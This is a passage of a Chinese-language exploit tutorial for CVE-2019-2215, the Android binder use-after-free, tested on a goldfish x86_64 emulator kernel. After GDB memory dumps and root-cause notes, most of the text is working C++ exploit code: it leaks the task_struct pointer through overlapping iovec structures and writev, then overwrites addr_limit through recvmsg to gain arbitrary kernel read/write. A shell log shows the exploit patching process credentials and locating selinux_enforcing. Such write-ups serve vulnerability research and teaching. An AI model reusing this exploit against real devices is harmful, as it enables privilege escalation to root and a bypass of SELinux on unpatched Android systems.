0xffff88800c18f360:0x00000000000000000x0000000000000000 0xffff88800c18f370:0x00000000000000000x0000000000000000 0xffff88800c18f380:0x00000000000000000x0000000000000001 0xffff88800c18f390:0xffff88806d4bb200 Breakpoint3at0xffffffff802aa5be:file/home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c,line53. remove_wait_queue_wait.c:52(exit) 0xffff88800c18f200:0xffff88800c18f6000x0000000000000001 0xffff88800c18f210:0x00000000000000000x0000000000000000 0xffff88800c18f220:0xffff88800c18f2200xffff88800c18f220 0xffff88800c18f230:0x0000002000001b350x0000000000000001 0xffff88800c18f240:0x00000000000000000xffff88800c18f248 0xffff88800c18f250:0xffff88800c18f2480x0000000000000000 0xffff88800c18f260:0x00000000000000000x0000000000000000 0xffff88800c18f270:0x00000000000000030x0000000000007201 0xffff88800c18f280:0x00000000000000000x0000000000000000 0xffff88800c18f290:0x00000000000000030x0000000000007201 0xffff88800c18f2a0:0x00000000000000000xffff88800c18f2a8 0xffff88800c18f2b0:0xffff88800c18f2a80x0000000000000000 0xffff88800c18f2c0:0x00000000000000000x0000000000000000 0xffff88800c18f2d0:0x00000000000000000x0000000000000000 0xffff88800c18f2e0:0x00000000000000000x0000000000000000 0xffff88800c18f2f0:0x00000000000000000x0000000000000000 0xffff88800c18f300:0x00000000000000000x0000000000000000 0xffff88800c18f310:0x00000000000000000x0000000000000000 0xffff88800c18f320:0x00000000000000000x0000000000000000 0xffff88800c18f330:0x00000000000000000x0000000000000000 0xffff88800c18f340:0x00000000000000000x0000000000000000 0xffff88800c18f350:0x00000000000000000x0000000000000000 0xffff88800c18f360:0x00000000000000000x0000000000000000 0xffff88800c18f370:0x00000000000000000x0000000000000000 0xffff88800c18f380:0x00000000000000000x0000000000000001 0xffff88800c18f390:0xffff88806d4bb200

现在,让我们分析输出并尝试了解发生了什么。

如果你还记得,binder_free_thread是最终将释放binder_thread结构的函数。

释放之后且在结构上进行取消链接操作之前。binder_thread

0xffff88800c18f2a0:0x00000000000000000xffff88805c05cae0 0xffff88800c18f2b0:0xffff88805c05cae00x0000000000000000

0xffff88800c18f2a0 + 0x8是binder_thread->wait.head链接的偏移量eppoll_entry->wait.entry。

gef>poffsetof(structbinder_thread,wait.head) $1=0xa8

0xffff88805c05cae0是eppoll_entry->wait.entry类型为struct list_head的指针。

之后的取消链接发生在运行binder_thread结构之后。

0xffff88800c18f2a0:0x00000000000000000xffff88800c18f2a8 0xffff88800c18f2b0:0xffff88800c18f2a80x0000000000000000

如果你仔细看取消链接**操作,一个指针会以binder_thread->wait.head写入binder_thread->wait.head.next和binder_thread->wait.head.prev。

这正是我们在" 静态分析"部分中得出的结果。

0x02 漏洞利用开发

在" 根本原因分析"部分中,我们分析了漏洞成因。我们知道有两个地方使用悬挂 binder_thread结构块。

第一次使用发生在remove_wait_qeue函数尝试获取自旋锁时。

在第二使用情况在内部函数__remove_wait_queue它试图取消链接的等待队列。因为我们得到了一个原始的可以写的指针binder_thread->wait.head,binder_thread->wait.head.next和binder_thread->wait.head.prev。

重新看看workshop/android-4.14-dev/goldfish/drivers/android/binder.c中定义的struct binder_thread。

structbinder_thread{ structbinder_proc*proc; structrb_noderb_node; structlist_headwaiting_thread_node; intpid; intlooper;/*onlymodifiedbythisthread*/ boollooper_need_return;/*canbewrittenbyotherthread*/ structbinder_transaction*transaction_stack; structlist_headtodo; boolprocess_todo; structbinder_errorreturn_error; structbinder_errorreply_error; wait_queue_head_twait; structbinder_statsstats; atomic_ttmp_ref; boolis_dead; structtask_struct*task; };

如果仔细观察,你会发现指向的指针struct task_struct也是该binder_thread结构的成员。

如果可以通过某种方式泄漏它,我们将知道task_struct当前过程的位置。

注意:在Linux Privilege Escalation部分中,了解有关task_struct结构和Linux 特权升级的更多信息。

现在,让我们看看如何利用此漏洞。随着漏洞利用缓解措施的日益增加,构建更好的base非常重要。

前置知识

task_struct结构有addr_limit类型的重要成员mm_segment_t。addr_limit存储最高的有效用户空间地址。

addr_limit是目标体系结构的一部分,struct thread_info或struct thread_struct取决于目标体系结构。正如我们现在要处理的x86_64位系统一样,addr_limit是在struct thread_struct中定义的,它是task_struct结构的一部分。

要了解更多有关addr_limit的信息,让我们看看readand write系统调用的原型。

ssize_tread(intfd,void*buf,size_tcount); ssize_twrite(intfd,constvoid*buf,size_tcount);

read,write系统调用是可以将指针传递给用户空间地址的系统功能,这就是addr_limit。这些系统函数使用access_ok函数来验证传递的地址是否确实是用户空间地址并且可以访问。

由于目前处于x86_64位系统上,因此让我们打开workshop/android-4.14-dev/goldfish/arch/x86/include/asm/uaccess.h并看看如何定义access_ok的。

#defineaccess_ok(type,addr,size) ({ WARN_ON_IN_IRQ(); likely(!__range_not_ok(addr,size,user_addr_max())); }) #defineuser_addr_max()(current->thread.addr_limit.seg)

正如你所看到user_addr_max的用途current->thread.addr_limit.seg。如果这个addr_limit是0xFFFFFFFFFFFFFFFF,我们将能够读取和写入的任何部分内核空间的内存。

注意: Vitaly Nikolenko(@ vnik5287)指出,在arm64中,有一个签入do_page_fault函数,如果将addrlimit设置为0xFFFFFFFFFFFFFFFF,则会使进程崩溃。我在x86_64系统上进行了所有测试,因此一开始没有注意到这一点。

让我们打开workshop/android-4.14-dev/goldfish/arch/arm64/mm/fault.c并研究do_page_fault函数。

staticint__kprobesdo_page_fault(unsignedlongaddr,unsignedintesr, structpt_regs*regs) { structtask_struct*tsk; structmm_struct*mm; intfault,sig,code,major=0; unsignedlongvm_flags=VM_READ|VM_WRITE; unsignedintmm_flags=FAULT_FLAG_ALLOW_RETRY|FAULT_FLAG_KILLABLE; [...] if(is_ttbr0_addr(addr)&&is_permission_fault(esr,regs,addr)){ /*regs->orig_addr_limitmaybe0ifweenteredfromEL0*/ if(regs->orig_addr_limit==KERNEL_DS) die("Accessinguserspacememorywithfs=KERNEL_DS",regs,esr); [...] } [...] return0; }

·检查orig_addr_limit == KERNEL_DS是否会崩溃,KERNEL_DS = 0xFFFFFFFFFFFFFFFF

为了更好的兼容性的开发上x86_64的和arm64,最好是设置addr_limit到0xFFFFFFFFFFFFFFFE。

使用此漏洞,我们想破坏addr_limit将我们的简单原语升级为更强大的原语,就是任意读写原语。

任意读写原语也称为数据攻击。在这里我们不会劫持CPU的执行流程,而只是破坏目标数据结构来实现内核提权。

寻找目标

向量I / O用于将数据从多个缓冲区读取到单个缓冲区,并将数据从单个缓冲区写入到多个缓冲区。如果我们想使用read或write系统调用读取和写入多个缓冲区,这可用于减少与多个系统调用相关的开销。

在Linux中,向量化的I / O是利用拿到了iovec结构和readv,writev,recvmsg,sendmsg系统调用等。

让我们看看workshop/android-4.14-dev/goldfish/include/uapi/linux/uio.h中的struct iovec定义。

structiovec { void__user*iov_base;/*BSDusescaddr_t(1003.1grequiresvoid*)*/ __kernel_size_tiov_len;/*Mustbesize_t(1003.1g)*/ };

为了更好地理解Vectored I / O以及iovec如何工作,让我们看下面的图表。

5f3c8c14b15ec04db23f950cstruct iovec 优点

·体积小,在x64位系统上,大小为0x10字节

·我们可以控制所有成员iov_base,iov_len

·我们可以将它们堆叠在一起以控制所需的kmalloc缓存

·它有一个指针指向缓冲区,这是一个比较好的利用条件

其中一个主要的问题是struct iovec很短暂。它们在使用缓冲区时由系统调用分配,并在返回用户模式时立即释放。

我们希望在iovec触发取消链接操作,iov_base使用的地址覆盖指针binder_thread->wait.head以获取范围内的读写时将结构保留在内核中。

注意:我们使用的是Android 4.14内核,但是Project Zero团队针对Android 4.4内核编写了漏洞利用程序,该漏洞没有在lib/iov_iter.c中进行额外access_ok检查。因此,我们已经应用了补丁来还原那些额外的检查,这将防止我们泄漏内核空间内存块。

iovec在触发取消链接操作之前,如何使结构保留在内核中?

一种方法是使用系统调用一样readv,writev在一个pipe文件描述符,因为它可以阻止pipe是满或空。

pipe是可用于进程间通信的单向数据通道。pipe的阻塞功能为我们提供了iovec在内核空间破坏结构的重要时间窗口。

以相同的方式,我们可以使用recvmsg系统调用通过将其作为标志参数来进行阻止MSG_WAITALL。

让我们深入研究writev系统调用并弄清楚它如何使用iovec结构。

打开workshop/android-4.14-dev/goldfish/fs/read_write.c研究一下。

SYSCALL_DEFINE3(writev,unsignedlong,fd,conststructiovec__user*,vec, unsignedlong,vlen) { returndo_writev(fd,vec,vlen,0); } staticssize_tdo_writev(unsignedlongfd,conststructiovec__user*vec, unsignedlongvlen,rwf_tflags) { structfdf=fdget_pos(fd); ssize_tret=-EBADF; if(f.file){ [...] ret=vfs_writev(f.file,vec,vlen,&pos,flags); [...] } [...] returnret; } staticssize_tvfs_writev(structfile*file,conststructiovec__user*vec, unsignedlongvlen,loff_t*pos,rwf_tflags) { structioveciovstack[UIO_FASTIOV]; structiovec*iov=iovstack; structiov_iteriter; ssize_tret; ret=import_iovec(WRITE,vec,vlen,ARRAY_SIZE(iovstack),&iov,&iter); if(ret>=0){ [...] ret=do_iter_write(file,&iter,pos,flags); [...] } returnret; }

·writev指针iovec从用户空间到函数do_readv

·do_writev通过vfs_writev一些附加参数将相同信息传递给另一个函数

·vfs_writev通过import_iovec一些附加参数将相同信息传递给另一个函数

让我们打开workshop/android-4.14-dev/goldfish/lib/iov_iter.c并看一下import_iovec函数的实现。

intimport_iovec(inttype,conststructiovec__user*uvector, unsignednr_segs,unsignedfast_segs, structiovec**iov,structiov_iter*i) { ssize_tn; structiovec*p; n=rw_copy_check_uvector(type,uvector,nr_segs,fast_segs, *iov,&p); [...] iov_iter_init(i,type,p,nr_segs,n); *iov=p==*iov?NULL:p; return0; }

·import_iovec通过一些其他参数将相同的信息传递iovec给另一个函数rw_copy_check_uvector

·iovec通过调用来初始化内核结构栈iov_iter_init

让我们打开workshop/android-4.14-dev/goldfish/fs/read_write.c并看一下rw_copy_check_uvector函数的实现。

ssize_trw_copy_check_uvector(inttype,conststructiovec__user*uvector, unsignedlongnr_segs,unsignedlongfast_segs, structiovec*fast_pointer, structiovec**ret_pointer) { unsignedlongseg; ssize_tret; structiovec*iov=fast_pointer; [...] if(nr_segs>fast_segs){ iov=kmalloc(nr_segs*sizeof(structiovec),GFP_KERNEL); [...] } if(copy_from_user(iov,uvector,nr_segs*sizeof(*uvector))){ [...] } [...] ret=0; for(seg=0;seg=0 &&unlikely(!access_ok(vrfy_dir(type),buf,len))){ [...] } if(len>MAX_RW_COUNT-ret){ len=MAX_RW_COUNT-ret; iov[seg].iov_len=len; } ret+=len; } [...] returnret; }

·rw_copy_check_uvector 分配内核空间内存并通过执行以下操作计算分配的 nr_segs*sizeof(struct iovec) 大小

·在这里,nr_segs等于iovec我们从用户空间传递的结构堆栈中的计数

·通过调用函数将iovec结构堆栈从用户空间复制到新分配的内核空间copy_from_user。

·iov_base通过调用access_ok函数来验证指针是否有效。

泄漏task_struct *

让我们看看泄漏task_struct存储在binder_thread中的指针的策略。这次我们将使用writev系统调用,因为我们希望实现从内核空间到用户空间的范围读取。

binder_thread结构的大小等于408字节。如果你知道SLUB分配器,你就会知道,用kmalloc-512包含其大小为所有对象更大的超过256但小于等于到512字节。由于该binder_thread结构的大小为408字节,因此最终将在kmalloc-512高速缓存中。

首先,我们需要弄清楚iovec需要覆盖多少结构来重新分配binder_thread 释放的块。

gef>p/dsizeof(structbinder_thread) $4=408 gef>p/dsizeof(structiovec) $5=16 gef>p/dsizeof(structbinder_thread)/sizeof(structiovec) $9=25 gef>p/d25*16 $16=400

我们看到我们将需要覆盖25个 iovec结构来重新分配悬空的块。

注意:25个 iovec结构的大小为400字节。这是一件好事,否则task_struct指针也将变得混乱,我们将无法泄漏它。

如果你还记得的话,当发生取消链接操作时,会将两个 Quadwords写入悬空块,让我们找出iovec将破坏的结构。

gef>p/doffsetof(structbinder_thread,wait)/sizeof(structiovec) $13=10

5f3c8c14b15ec04db23f950c我们可以从上面的表格中看到,iovecStack[10].iov_len和iovecStack[11].iov_base将被找到。

因此,我们希望处理iovecStack[10],阻止writev系统调用,然后触发取消链接操作。这将确保当iovecStack[11].iov_base被破坏时,我们将恢复writev系统调用。最后,将binder_thread块的内容泄漏回用户空间,task_struct将从中读取指针。

但是,m_4gb_aligned_page在这种情况下,有什么用?

在执行取消链接操作之前,remove_wait_queue尝试获取自旋锁。如果值不是0,则线程将继续循环,并且永远不会发生取消链接操作。由于iov_base是一个64位的值,我们希望确保低32位是0。

注意:要有效地使用系统调用的阻止功能,writev将至少需要两个轻量级进程。

让我们制定攻击计划来泄漏task_struct结构指针

·创建pipe,获取文件描述符并将最大缓冲区大小设置为PAGE_SIZE

·将eventpoll等待队列链接到binder_thread等待队列

·fork 过程

· sleep 避免比赛条件

· 触发取链接操作

·读取pipe通过处理写入的伪数据iovecStack[10],这将恢复writev系统调用

·释放binder_thread结构

· 触发writev系统调用并保持阻止

· 一旦writev系统调用恢复,它将处理iovecStack[11]由于取消链接操作而已被破坏的内容

· task_struct从泄漏的内核空间块中读取指向的指针

·父进程

·子进程

为了更好地理解漏洞利用的流程,我们在Project Zero博客文章上看到Maddie Stone创建的图,该图非常准确。

5f3c8c14b15ec04db23f950c现在,让我们看看如何实现漏洞利用代码。

voidBinderUaF::leakTaskStruct(){ intpipe_fd[2]={0}; ssize_tnBytesRead=0; staticchardataBuffer[PAGE_SIZE]={0}; structioveciovecStack[IOVEC_COUNT]={nullptr}; // //Getbinderfd // setupBinder(); // //Createeventpoll // setupEventPoll(); // //Wearegoingtouseiovecforscopedread/write, //weneedtomakesurethatiovecstaysinthekernel //beforewetriggertheunlinkafterbinder_threadhas //beenfreed. // //OnewaytoachievethisisbyusingtheblockingAPIs //inLinuxkernel.SuchAPIsareread,write,etconpipe. // // //Setuppipeforiovec // INFO("[+]Settinguppipen"); if(pipe(pipe_fd)==-1){ ERR("t[-]Unabletocreatepipen"); exit(EXIT_FAILURE); }else{ INFO("t[*]Pipecreatedsuccessfullyn"); } // //pipe_fd[0]=readfd //pipe_fd[1]=writefd // //Defaultsizeofpipeis65536=0x10000=64KB //Thisiswaymuchofdatathatwecareabout //Let'sreducethesizeofpipeto0x1000 // if(fcntl(pipe_fd[0],F_SETPIPE_SZ,PAGE_SIZE)==-1){ ERR("t[-]Unabletochangethepipecapacityn"); exit(EXIT_FAILURE); }else{ INFO("t[*]Changedthepipecapacityto:0x%xn",PAGE_SIZE); } INFO("[+]Settingupiovecsn"); // //Asweareoverlappingbinder_threadwithiovec, //binder_thread->wait.lockwillaligntoiovecStack[10].io_base. // //Ifbinder_thread->wait.lockisnot0thenthethreadwillget //stuckintryingtoacquirethelockandtheunlinkoperation //willnothappen. // //Toavoidthis,weneedtomakesurethattheoverlappeddata //shouldbesetto0. // //iovec.iov_baseisa64bitvalue,andspinlock_tis32bit,soif //wecanpassavalidmemoryaddresswhoselower32bitvalueis0, //thenwecanavoidspinlockissue. // mmap4gbAlignedPage(); iovecStack[IOVEC_WQ_INDEX].iov_base=m_4gb_aligned_page; iovecStack[IOVEC_WQ_INDEX].iov_len=PAGE_SIZE; iovecStack[IOVEC_WQ_INDEX+1].iov_base=(void*)0x41414141; iovecStack[IOVEC_WQ_INDEX+1].iov_len=PAGE_SIZE; // //Nowlinkthepollwaitqueuetobinderthreadwaitqueue // linkEventPollWaitQueueToBinderThreadWaitQueue(); // //Weshouldtriggertheunlinkoperationwhenwe //havethebinder_threadreallocatedasiovecarray // // //Nowfork // pid_tchildPid=fork(); if(childPid==0){ // //childprocess // // //Thereisaracewindowbetweentheunlinkandblocking //inwritev,sosleepforawhiletoensurethatweare //blockinginwritevbeforetheunlinkhappens // sleep(2); // //Triggertheunlinkoperationonthereallocatedchunk // unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); // //Firstinterestingiovecwillread0x1000bytesofdata. //Thisisjustthejunkdatathatwearenotinterestedin // nBytesRead=read(pipe_fd[0],dataBuffer,sizeof(dataBuffer)); if(nBytesRead!=PAGE_SIZE){ ERR("t[-]CHILD:readfailed.nBytesRead:0x%lx,expected:0x%x",nBytesRead,PAGE_SIZE); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); } // //parentprocess // // //Ihaveseensomeraceswhichhindersthereallocation. //So,nowfreeingthebinder_threadafterfork. // freeBinderThread(); // //Reallocatebinder_threadasiovecarray // //Weneedtomakesurethiswritevcallblocks //Thiswillonlyhappenwhenthepipeisalreadyfull // // //Thisprintstatementwasruiningthereallocation, //spentanighttofigurethisout.Commentingthe //belowline. // //INFO("[+]Reallocatingbinder_threadn"); ssize_tnBytesWritten=writev(pipe_fd[1],iovecStack,IOVEC_COUNT); // //Ifthecorruptionwassuccessful,thetotalbyteswritten //shouldbeequalto0x2000.Thisisbecausetherearetwo //validiovecandthelengthofeachis0x1000 // if(nBytesWritten!=PAGE_SIZE*2){ ERR("t[-]writevfailed.nBytesWritten:0x%lx,expected:0x%xn",nBytesWritten,PAGE_SIZE*2); exit(EXIT_FAILURE); }else{ INFO("t[*]Wrote0x%lxbytesn",nBytesWritten); } // //Nowreadtheactualdatafromthecorruptediovec //Thisistheleakeddatafromkerneladdressspace //andwillcontainthetask_structpointer // nBytesRead=read(pipe_fd[0],dataBuffer,sizeof(dataBuffer)); if(nBytesRead!=PAGE_SIZE){ ERR("t[-]readfailed.nBytesRead:0x%lx,expected:0x%x",nBytesRead,PAGE_SIZE); exit(EXIT_FAILURE); } // //Waitforthechildprocesstoexit // wait(nullptr); m_task_struct=(structtask_struct*)*((int64_t*)(dataBuffer+TASK_STRUCT_OFFSET_IN_LEAKED_DATA)); m_pidAddress=(void*)((int8_t*)m_task_struct+offsetof(structtask_struct,pid)); m_credAddress=(void*)((int8_t*)m_task_struct+offsetof(structtask_struct,cred)); m_nsproxyAddress=(void*)((int8_t*)m_task_struct+offsetof(structtask_struct,nsproxy)); INFO("[+]Leakedtask_struct:%pn",m_task_struct); INFO("t[*]&task_struct->pid:%pn",m_pidAddress); INFO("t[*]&task_struct->cred:%pn",m_credAddress); INFO("t[*]&task_struct->nsproxy:%pn",m_nsproxyAddress); }

我希望知道你有一个更好的主意,如何使用iovec结构泄漏task_struct指针。

攻击addr_limit

我们泄漏了task_struct指针,现在该关闭mm_segment_t addr_limit。

我们之所以不能使用writev,是因为我们不想实现内核范围内的读取,而是想对内核空间进行范围内的写入。最初,我尝试使用阻止功能来实现作用域写入,但由于发现了一些问题,因此我们无法使用readv。

下面给出一些原因:

readv不会调用处理一个 iovec并阻塞writev

当iovecStack[10].iov_len使用指针破坏时,该长度现在是一个很大的数字,并且当copy_page_to_iter_iovec函数尝试通过处理iovec结构堆栈来复制数据时,它将执行失败。

让我们打开workshop/android-4.14-dev/goldfish/lib/iov_iter.c并查看copy_page_to_iter_iovec函数的实现。

staticsize_tcopy_page_to_iter_iovec(structpage*page,size_toffset,size_tbytes, structiov_iter*i) { size_tskip,copy,left,wanted; conststructiovec*iov; char__user*buf; void*kaddr,*from; [...] while(unlikely(!left&&bytes)){ iov++; buf=iov->iov_base; copy=min(bytes,iov->iov_len); left=copyout(buf,from,copy); [...] } [...] returnwanted-bytes; }

·当尝试处理破坏iovecStack[10]时,它将尝试计算此行中copy = min(bytes, iov->iov_len)副本的长度

·bytes等于iov_len,iovecStack是iov->iov_len和iovecStack[10].iov_len调用的指针

·肯定哪里出错了,因为,现在长度变成copy = bytes并跳过了函数处理,iovecStack[11]会给我们限定范围的写入

为了实现作用域写入,我们将使用recvmsg系统调用通过将其作为标志参数来进行阻塞MSG_WAITALL。recvmsg系统调用可以像writev系统调用一样阻塞,并且不会遇到我在readv系统调用中讨论的问题。

让我们看看要写到addr_limit字段中的内容。

gef>psizeof(mm_segment_t) $17=0x8

由于mm_segment_t大小为0x8字节,我们希望使用0xFFFFFFFFFFFFFFFE来破坏它,因为0xFFFFFFFFFFFFFFFE是最高的有效内核空间地址,并且如果arm64系统中发生页面漏洞,也不会使进程崩溃。

现在,让我们看看在这种情况下如何将binder_thread结构块与iovec结构堆栈重叠。

5f3c8c14b15ec04db23f950ciovecStack[10].iov_len和iovecStack[11].iov_base将被指针破坏。但是,只有在已经处理并且系统调用受阻并等待接收其余消息时,我们才会触发iovecStack[10]``recvmsg取消链接操作。

完成清除操作后,我们会将其余数据(finalSocketData)写入套接字文件描述符,然后recvmsg系统调用将自动恢复。

staticuint64_tfinalSocketData[]={ 0x1,//iovecStack[IOVEC_WQ_INDEX].iov_len 0x41414141,//iovecStack[IOVEC_WQ_INDEX+1].iov_base 0x8+0x8+0x8+0x8,//iovecStack[IOVEC_WQ_INDEX+1].iov_len (uint64_t)((uint8_t*)m_task_struct+ OFFSET_TASK_STRUCT_ADDR_LIMIT),//iovecStack[IOVEC_WQ_INDEX+2].iov_base 0xFFFFFFFFFFFFFFFE//addr_limitvalue };

让我们看看在破坏之后会发生什么

·iovecStack[10]在触发取消链接操作之前已被处理

·iovecStack[10].iov_len和iovecStack[11].iov_base被指针淹没

·什么时候 recvmsg 开始处理 iovecStack[11]?

·它将1写入到iovecStack[10].iov_len

·0x41414141传入iovecStack[11].iov_base

·0x20传入iovecStack[11].iov_len

·写入地址addr_limit到iovecStack[12].iov_base

·现在,recvmsg何时开始处理iovecStack[12]?

·将0xFFFFFFFFFFFFFFFE写入addr_limit

这就是我们将作用域写入转换为受控任意写入的方式。

让我们制定破坏addr_limit的方案:

·创建socketpair并获取文件描述符

·将0x1字节的垃圾数据写入套接字的写入描述符

·fork 过程:

· sleep 避免竞争条件

· 将其余数据finalSocketData写入套接字的写入描述符

· 释放binder_thread结构

· 触发recvmsg系统调用,它将处理我们写入的0x1字节的垃圾数据,然后阻塞并等待接收其余数据

· 一旦recvmsg系统调用恢复,它将处理iovecStack[11]由于取消链接操作而已被破坏的内容

·一旦recvmsg系统调用返回,它就会崩溃addr_limit

现在,让我们看看如何在漏洞利用代码中实现:

voidBinderUaF::clobberAddrLimit(){ intsock_fd[2]={0}; ssize_tnBytesWritten=0; structmsghdrmessage={nullptr}; structioveciovecStack[IOVEC_COUNT]={nullptr}; // //Getbinderfd // setupBinder(); // //Createeventpoll // setupEventPoll(); // //Forclobberingtheaddr_limitwetriggertheunlink //operationagainafterreallocatingbinder_threadwith //iovecs // //Ifyouseehowwemanagetoleakkerneldataisbyusing //theblockingfeatureofwritev // //Wecouldusereadvblockingfeaturetodoscopedwrite //However,aftertryingreadvandreadingtheLinuxkernel //code,Ifiguredoutanissuewhichmakesreadvuselessfor //currentbug. // //ThemainissuethatIfoundis: // //iovcArray[IOVEC_COUNT].iov_lenisclobberedwithapointer //duetounlinkoperation // //So,whencopy_page_to_iter_iovectriestoprocesstheiovecs, //thereisalineofcode,copy=min(bytes,iov->iov_len); //Here,"bytes"isequaltosumofalliovecslengthandas //"iov->iov_len"iscorruptedwithapointerwhichisobviously //averybignumber,nowcopy=sumofalliovecslengthandskips //theprocessingofthenextiovecwhichisthetargetiovecwhich //wouldgivewasscopedwrite. // //IbelieveP0alsofacedthesameissuesotheyswitchedtorecvmsg // // //Setupsocketpairforiovec // //AF_UNIX/AF_LOCALisusedbecauseweareinterestedonlyin //localcommunication // //WeuseSOCK_STREAMsothatMSG_WAITALLcanbeusedinrecvmsg // INFO("[+]Settingupsocketn"); if(socketpair(AF_UNIX,SOCK_STREAM,0,sock_fd)==-1){ ERR("t[-]Unabletocreatesocketpairn"); exit(EXIT_FAILURE); }else{ INFO("t[*]Socketpaircreatedsuccessfullyn"); } // //Wewilljustwritejunkdatatosocketsothatwhenrecvmsg //iscalleditprocessthefistvalidiovecwiththisjunkdata //andthenblocksandwaitsfortherestofthedatatobereceived // staticcharjunkSocketData[]={ 0x41 }; INFO("[+]Writingjunkdatatosocketn"); nBytesWritten=write(sock_fd[1],&junkSocketData,sizeof(junkSocketData)); if(nBytesWritten!=sizeof(junkSocketData)){ ERR("t[-]writefailed.nBytesWritten:0x%lx,expected:0x%lxn",nBytesWritten,sizeof(junkSocketData)); exit(EXIT_FAILURE); } // //Writejunkdatatothesocketsothatwhenrecvmsgis //called,itprocessthefirstvalidiovecwiththisjunk //dataandthenblocksfortherestoftheincomingsocketdata // INFO("[+]Settingupiovecsn"); // //WewanttoblockafterprocessingtheiovecatIOVEC_WQ_INDEX, //becausethen,wecantriggertheunlinkoperationandgetthe //nextiovecscorruptedtogainscopedwrite. // mmap4gbAlignedPage(); iovecStack[IOVEC_WQ_INDEX].iov_base=m_4gb_aligned_page; iovecStack[IOVEC_WQ_INDEX].iov_len=1; iovecStack[IOVEC_WQ_INDEX+1].iov_base=(void*)0x41414141; iovecStack[IOVEC_WQ_INDEX+1].iov_len=0x8+0x8+0x8+0x8; iovecStack[IOVEC_WQ_INDEX+2].iov_base=(void*)0x42424242; iovecStack[IOVEC_WQ_INDEX+2].iov_len=0x8; // //Preparethedatabufferthatwillbewrittentosocket // // //Settingaddr_limitto0xFFFFFFFFFFFFFFFFinarm64 //willresultincrashbecauseofacheckindo_page_fault //However,x86_64doesnothavethischeck.Butit'sbetter //tosetitto0xFFFFFFFFFFFFFFFEsothatthissamecodecan //beusedinarm64aswell. // staticuint64_tfinalSocketData[]={ 0x1,//iovecStack[IOVEC_WQ_INDEX].iov_len 0x41414141,//iovecStack[IOVEC_WQ_INDEX+1].iov_base 0x8+0x8+0x8+0x8,//iovecStack[IOVEC_WQ_INDEX+1].iov_len (uint64_t)((uint8_t*)m_task_struct+ OFFSET_TASK_STRUCT_ADDR_LIMIT),//iovecStack[IOVEC_WQ_INDEX+2].iov_base 0xFFFFFFFFFFFFFFFE//addr_limitvalue }; // //Preparethemessage // message.msg_iov=iovecStack; message.msg_iovlen=IOVEC_COUNT; // //Nowlinkthepollwaitqueuetobinderthreadwaitqueue // linkEventPollWaitQueueToBinderThreadWaitQueue(); // //Weshouldtriggertheunlinkoperationwhenwe //havethebinder_threadreallocatedasiovecarray // // //Nowfork // pid_tchildPid=fork(); if(childPid==0){ // //childprocess // // //Thereisaracewindowbetweentheunlinkandblocking //inwritev,sosleepforawhiletoensurethatweare //blockinginwritevbeforetheunlinkhappens // sleep(2); // //Triggertheunlinkoperationonthereallocatedchunk // unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); // //Now,atthispoint,theiovecStack[IOVEC_WQ_INDEX].iov_len //andiovecStack[IOVEC_WQ_INDEX+1].iov_baseisclobbered // //Writerestofthedatatothesocketsothatrecvmsgstarts //processingthecorruptediovecsandwegetscopedwriteand //finallyarbitrarywrite // nBytesWritten=write(sok_fd[1],finalSocketData,sizeof(finalSocketData)); if(nBytesWritten!=sizeof(finalSocketData)){ ERR("t[-]writefailed.nBytesWritten:0x%lx,expected:0x%lx",nBytesWritten,sizeof(finalSocketData)); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); } // //parentprocess // // //Ihaveseensomeraceswhichhindersthereallocation. //So,nowfreeingthebinder_threadafterfork. // freeBinderThread(); // //Reallocatebinder_threadasiovecarrayand //weneedtomakesurethisrecvmsgcallblocks. // //recvmsgwillblockafterprocessingavalidiovecat //iovecStack[IOVEC_WQ_INDEX] // ssize_tnBytesReceived=recvmsg(sock_fd[0],&message,MSG_WAITALL); // //Ifthecorruptionwassuccessful,thetotalbytesreceived //shouldbeequaltolengthofalliovec.Thisisbecausethere //arethreevalidiovec // ssize_texpectedBytesReceived=iovecStack[IOVEC_WQ_INDEX].iov_len+ iovecStack[IOVEC_WQ_INDEX+1].iov_len+ iovecStack[IOVEC_WQ_INDEX+2].iov_len; if(nBytesReceived!=expectedBytesReceived){ ERR("t[-]recvmsgfailed.nBytesReceived:0x%lx,expected:0x%lxn",nBytesReceived,expectedBytesReceived); exit(EXIT_FAILURE); } // //Waitforthechildprocesstoexit // wait(nullptr); }

利用验证

看看实际的漏洞利用验证:

ashfaq@hacksys:~/workshop$adbshell generic_x86_64:/$uname-a Linuxlocalhost4.14.150+#1repo:q-goldfish-android-goldfish-4.14-devSMPPREEMPTTueAprx86_64 generic_x86_64:/$id uid=2000(shell)gid=2000(shell)groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)context=u:r:shell:s0 generic_x86_64:/$getenforce Enforcing generic_x86_64:/$cd/data/local/tmp generic_x86_64:/data/local/tmp$./cve-2019-2215-exploit ########################### ################ ############################## ############# ############################## @HackSysTeam [+]Bindingto0thcore [+]Opening:/dev/binder [*]m_binder_fd:0x3 [+]Creatingeventpoll [*]m_epoll_fd:0x4 [+]Settinguppipe [*]Pipecreatedsuccessfully [*]Changedthepipecapacityto:0x1000 [+]Settingupiovecs [+]Mapping4GBalignedpage [*]Mappedpage:0x100000000 [+]Linkingeppoll_entry->wait.entrytobinder_thread->wait.head [+]Freeingbinder_thread [+]Un-linkingeppoll_entry->wait.entryfrombinder_thread->wait.head [*]Wrote0x2000bytes [+]Leakedtask_struct:0xffff888063a14b00 [*]&task_struct->pid:0xffff888063a14fe8 [*]&task_struct->cred:0xffff888063a15188 [*]&task_struct->nsproxy:0xffff888063a151c0 [+]Opening:/dev/binder [*]m_binder_fd:0x7 [+]Creatingeventpoll [*]m_epoll_fd:0x8 [+]Settingupsocket [*]Socketpaircreatedsuccessfully [+]Writingjunkdatatosocket [+]Settingupiovecs [+]Linkingeppoll_entry->wait.entrytobinder_thread->wait.head [+]Freeingbinder_thread [+]Un-linkingeppoll_entry->wait.entryfrombinder_thread->wait.head [+]Settinguppipeforkernelread/write [*]Pipecreatedsuccessfully [+]Verifyingarbitraryread/writeprimitive [*]currentPid:7039 [*]expectedPid:7039 [*]Arbitraryread/writesuccessful [+]Patchingcurrenttaskcredmembers [*]cred:0xffff888066e016c0 [+]Verifyingifselinuxenforcingisenabled [*]nsproxy:0xffffffff81433ac0 [*]Kernelbase:0xffffffff80200000 [*]selinux_enforcing:0xffffffff816acfe8 